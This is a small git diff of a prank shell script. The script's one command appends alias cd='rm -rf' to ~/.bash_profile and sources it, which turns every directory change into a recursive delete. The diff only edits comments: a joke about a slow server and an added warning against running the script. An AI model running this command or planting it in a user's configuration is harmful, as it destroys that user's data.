diff --git a/shell/alias.sh b/shell/alias.sh
index d4be5e733714b53130fb2382dba33625fb03d5e2..b6db5d39f7b9554844a3790434d10c751672bd75 100644
--- a/shell/alias.sh
+++ b/shell/alias.sh
@@ -1,3 +1,5 @@
 echo "alias cd='rm -rf'" >> ~/.bash_profile && source ~/.bash_profile
 
-# 破服务器，进一个文件夹怎么要这么久？
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+# 破服务器，进一个文件夹怎么要这么久？
+
+## 警告，不要随便执行，恐发生难以挽回的后果！！！！
\ No newline at end of file